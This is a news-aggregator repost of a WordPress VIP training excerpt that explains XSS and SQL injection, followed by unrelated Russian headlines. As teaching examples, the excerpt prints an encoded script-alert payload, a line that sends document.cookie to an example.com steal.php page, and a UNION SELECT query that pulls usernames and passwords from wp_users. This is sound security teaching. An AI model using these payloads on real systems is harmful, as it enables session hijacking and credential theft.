Добавить новость
smi24.net
News in English
Ноябрь
2024

VIP Learn Sample Excerpt: How Injection Vulnerabilities Work

0

VIP Learn Sample Excerpt: How Injection Vulnerabilities Work


The following is an excerpt from the security module of VIP Learn.

VIP Learn is a comprehensive platform for upskilling your development teams with courses curated by seasoned WordPress VIP engineers and industry experts

It’s the only training resource specifically targeted for advanced enterprise WordPress development. VIP Learn is a free resource open to anyone (the content is not exclusive to WordPress VIP customers). The following excerpt offers a sample of the kind of content you can expect.


Injection vulnerabilities are attacks against web applications in which untrusted code or queries controlled by a malicious actor are executed in such a way that data associated with the application or its users is exposed, modified, or destroyed. 

Two types of injection attacks are particularly pertinent for web applications, including WordPress. These are XSS (Cross-Site Scripting) and SQL Injection.

Types of injection vulnerabilities 

What is cross-site scripting?

Cross-site scripting (XSS) is a web security vulnerability that allows attackers to inject and execute malicious scripts in the context of a user’s web browser. This typically occurs when an application doesn’t properly validate or sanitize user-provided input and outputs it in web pages as executable code. 

As a result, when a user visits a page containing an XSS vulnerability, the injected script runs within the user’s browser, potentially stealing sensitive data, manipulating web content, or launching further attacks. XSS comes in several forms, including stored, reflected, and DOM-based XSS, each with its unique characteristics, but they all pose a significant risk to the security and privacy of WordPress users.

We’ll examine three types of XSS attacks: Stored, Reflected, and DOM-based.

A Stored XSS attack, also known as Persistent XSS, is a specific type of XSS vulnerability where an attacker injects malicious scripts or payloads into a web application, which are then permanently stored by the application as data. These injected scripts are subsequently retrieved and executed by other users when they access the compromised web page.

A Reflected XSS attack is a XSS vulnerability where an attacker injects malicious scripts or payloads into a web application, and these scripts are immediately reflected or echoed back to the user within the application’s response. This type of XSS is “reflected” because the injected code is not stored on the server but is instead included in the web page’s response dynamically, often through URL parameters or form inputs.

A DOM-based XSS attack is a XSS vulnerability that occurs on the client side, where malicious scripts manipulate the Document Object Model (DOM) of a web page within the user’s browser. Unlike other forms of XSS that involve server-side vulnerabilities, DOM-based XSS is rooted in how the client-side JavaScript code processes user input and modifies the DOM of the page.

XSS examples

As an advanced developer, it is important to understand the actual mechanisms of these attacks through examples.

Stored XSS attacks

Copy Code
http://example.com/feedback?comment=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

In this example, we see a URL-encoded query string, which hides the malicious nature of the JavaScript. The “payload” is the string:

Copy Code
%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

Which, when decoded, is:

Copy Code
<script>alert('XSS')</script>

Were this string to be decoded, stored as-is in the database (in this case perhaps as a comment) and then later displayed on a page, an unexpected result would occur in the browser, in the form of this executed code.

Reflected XSS attacks

Copy Code
http://example.com/?s=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

In this similar example, we see a URL familiar to all WordPress developers—the default search request. Here, as before, a payload which decodes to executable JavaScript is present—in fact it’s the same JavaScript as in the previous example:

Copy Code
<script>alert('XSS')</script>

The only difference here is that the JavaScript is never stored, but rather immediately output to the browser, which then executes it.

Not all XSS attacks are quite so benign. Attackers may attempt to redirect users to malicious scripts hosted elsewhere and may expose sensitive information in the process.  For example, the following script, if encoded in a URL and executed by the browser, would redirect the user to an external site and leak the user’s session cookie, enabling session hijacking:

Copy Code
document.location='http://example.com/steal.php?cookie='+document.cookie;

What is SQL injection?

SQL injection occurs when an attacker is able to manipulate a web application’s database by injecting malicious SQL queries. This can happen when user input is not properly validated or sanitized before being used in database queries. 

For example, if a site allows users to search for products by entering a keyword, an attacker could inject a malicious SQL query that retrieves all the products in the database or even deletes the entire database.

SQL injection can result in unauthorized access to data. By injecting malicious SQL queries, an attacker can bypass authentication mechanisms and retrieve or display data that they should not have access to. 

For example, an attacker could inject a query that retrieves all user records, including their passwords. Another potential outcome is the manipulation or deletion of data. By injecting malicious SQL queries, an attacker can modify or delete data in the database. This can have serious consequences, such as altering posts and other content, site defacement, deleting user accounts, or compromising the integrity of the application.

SQL Injection examples

Copy Code
http://example.com/?id=1%20UNION%20ALL%20SELECT%20NULL%2Cusername%2Cpassword%20FROM%20wp_users–

This URL contains an obviously suspicious but entirely legal and encoded query string. When decoded, the query string becomes:

Copy Code
1 UNION ALL SELECT NULL,username,password FROM wp_users--

Should this string or SQL be appended to a query as-is and sent to the database for execution, it would select and perhaps display sensitive data to the attacker.

Next up: How to Protect Against XSS Injection Attacks

Want to learn more?

Create a free account at learn.wpvip.com. We have several VIP Learn courses to complete at your own pace. 

Similar to what you read in our excerpt above, VIP Learn also contains interactive elements to accelerate learning and retention on each topic. 

Author

Stephen Edde, Product Marketing Manager, WordPress VIP








Украина со стороны Азербайджана атаковала астраханский порт. Под удар попало грузовое судно

Почему у одних планет есть кольца, а у других нет

«Ушли все, кроме меня»: Ирина Дубцова ответила на обвинения Игоря Крутого в неблагодарности

Ученые назвали привычку, вызывающую один из самых смертоносных видов рака


Amorim has seven Man Utd undroppables v Arsenal and four available positions

AI talent comes at a 30% salary premium: ‘If you try to play catch up later, this is going to cost you even more’

Exclusive: Fintech giant Stripe building ‘Tempo’ blockchain with crypto VC Paradigm

Vintage photos show Alaska before it became a state


\"Вечер в Кара-Даг\"

Впервые в Луганске: детский благотворительный фестиваль «Добрая волна» подарит надежду и вдохновение

В Курске разгон до 82 км/ч привёл к тяжёлому ДТП

Глава Росавтодора проверил строительство обхода Орла


Список лучших PvE-питомцев для фарма в Etheria: Restart

Samsung has announced the world's first 500 Hz OLED monitor, but it's the new 5K2K panel that's got my wallet twitching

Открыты сервера MMORPG ROM: Golden Age

War Thunder Mobile празднует 2-ю годовщину с новым режимом и подарками


Овочі можуть стати розкішшю для українців


Магнит против счетчика: как желание сэкономить оборачивается сотнями тысяч рублей штрафа

Священник Волков назвал икону Германа от Путина символом единства России и США

ЦСКА усилился форвардом Даниэлем Руисом: сразу до конца сезона 2025/26

Предложение апартаментов сократилось за год на четверть в Москве


Похолодание и дожди в Москве: температура упадёт до 18–20 градусов

Названо имя победительницы в конкурсе «Миссис Россия — 2025»

Священник Волков: святой Герман Аляскинский объединяет народы РФ и США

EVITA BEAUTY STORE - интернет-магазин косметики премиум-класса


Каршеринг столкнулся с Lexus и упал в Яузу в Москве

В Подмосковье локализовали пожар на свалке площадью 2 тыс. кв. метров

Магнит против счетчика: как желание сэкономить оборачивается сотнями тысяч рублей штрафа

Священник Волков: святой Герман Аляскинский объединяет народы РФ и США


Россиянка Кудерметова прошла в полуфинал турнира WTA в США

WTA отреагировала на разгромную победу Рыбакиной над Соболенко

Кудерметова обыграла Таусон и вышла в четвёртый круг турнира WTA в Цинциннати

Рыбакина обошла Соболенко и вылетела из турнира в Цинциннати


Появились новые сведения о аварии автомобиля каршеринга, съехавшего в реку в Москве

Открытый диалог. Эксперт Литвиненко оценила итоги переговоров на Аляске

Зима будет аномальной: синоптики сказали, к чему готовиться россиянам

IT-ипотека: основные условия программы и последние изменения


Музыкальные новости

В Санкт-Петербурге поклонники группы «Кино» почтили память Виктора Цоя

Александр Новиков ответил на претензии смолян по поводу строительства танцплощадки

«Она пукнет, а звонят мне»: Волочкова запрещает Николаевой говорить об Ариадне

Ротация на Интернет Радио. Ротация песни на Интернет радио.


Предложение апартаментов сократилось за год на четверть в Москве

Магнит против счетчика: как желание сэкономить оборачивается сотнями тысяч рублей штрафа

Дмитриев прокомментировал взаимодействие между Россией и США

ЦСКА усилился форвардом Даниэлем Руисом: сразу до конца сезона 2025/26


Преподаватели Подмосковья первые в России подтвердили свои ИТ-компетенции у независимого эксперта «Группа Астра»

Священник Волков назвал икону Германа от Путина символом единства России и США

Прослушивания Яндекс Музыка. Увеличение прослушиваний в Яндекс Музыка.

«Роскосмос» опубликовал снимки Анкориджа, где встретятся Путин и Трамп


Лексус проехал на красный и стал причиной падения каршеринга в реку Москвы

Машина каршеринга пробила заграждение и упала в реку в Москве

Нейтриновольтаика - энергетическое бестопливное будущее планеты

Миграция авто: москвичи «вывозят» подержанные машины из Петербурга


Трамп допустил свой приезд в Москву

Дмитриев прокомментировал взаимодействие между Россией и США

Путин предложил провести следующие переговоры с Трампом в Москве

Священник Волков назвал икону Германа от Путина символом единства России и США




Роспотребнадзор выявил кишечные бактерии в пиве «Жигули барное экспорт»

Рацион принцессы: нутрициолог Писарева рассказала о пользе диеты Дианы

Россия достигла успехов в исследовании гепатита В

Удобный и без вреда для осанки: как выбрать рюкзак для первоклассника


«Теперь все зависит от Зеленского»: Вашингтон и Москва договорились, а Киеву осталось лишь подписать капитуляцию

Политолог Фельдман: страшный сон Зеленского стал явью

В Киеве подтвердили информацию о телефонном разговоре Трампа с Зеленским

Киев повышает ставки: Зеленский поставил ультиматум Трампу


"Локомотив" сыграет с "Црвеной Звездой" в полуфинале турнира UTLC Cup

Гостей форума «Москва 2030» приглашают на спортивные мероприятия в «Лужниках»

ЦСКА усилился форвардом Даниэлем Руисом: сразу до конца сезона 2025/26

ЦСКА подтвердил подписание колумбийского футболиста


Инициатива президента США вызвала разговор Лукашенко и Трампа

Лукашенко прогнозирует успех переговоров Путина и Трампа на Аляске

В определённых кругах это называется "Зайти на плечах"

Трамп принял предложение Лукашенко приехать в Минск


Мэр Москвы сообщил об открытии дороги от улицы Эдварда Грига до улицы Поляны

Собянин: Трасса Солнцево — Бутово — Варшавское шоссе будет готова в 2026 году

Число многодетных семей в Москве выросло в 3,5 раза — Сергей Собянин

Сергей Собянин рассказал, что ждет гостей форума «Москва 2030» в этом году


Барнаульского гида осудили по делу о гибели девяти человек во время турпохода на Камчатке

Психосоматическая седина: можно ли вернуть волосам пигмент, утраченный из-за стресса

Нейтриновольтаика - энергетическое бестопливное будущее планеты

Эксперт рассказал, почему платные парковки улучшают экологию города


Зима будет аномальной: синоптики сказали, к чему готовиться россиянам

Магнит против счетчика: как желание сэкономить оборачивается сотнями тысяч рублей штрафа

Замглаву Старооскольского округа арестовали за крупное хищение средств

Открытый диалог. Эксперт Литвиненко оценила итоги переговоров на Аляске


Уполномоченный по защите прав предпринимателей в НАО совместно с заместителем прокурора региональной прокуратуры провели прием предпринимателей

Универсальный ТСД промышленного класса Saotron RT-T40X V.2

Владимир Ефимов: Станция «Бульвар Генерала Карбышева» Рублево-Архангельской линии метро готова более чем наполовину

Родина российского триколора: в Петровском сквере установят стелу в честь национального флага


Что лечит травматолог: основные заболевания и травмы

Крым в лидерах по числу турпоездок

Бойцы СВО из Крыма проходят реабилитацию в 12 центрах Социального фонда

Погода на 16 августа 2025 года в Крыму и Севастополе: воздух прогреется до 30 градусов


Выставка спортивного фотографа Льва Бородулина открылась в Нижнем Новгороде

В Подмосковье локализовали пожар на свалке площадью 2 тыс. кв. метров

МЧС: в Ленинском округе Подмосковья загорелся мусор на площади 2000 кв. м

Похолодание и дожди в Москве: температура упадёт до 18–20 градусов














СМИ24.net — правдивые новости, непрерывно 24/7 на русском языке с ежеминутным обновлением *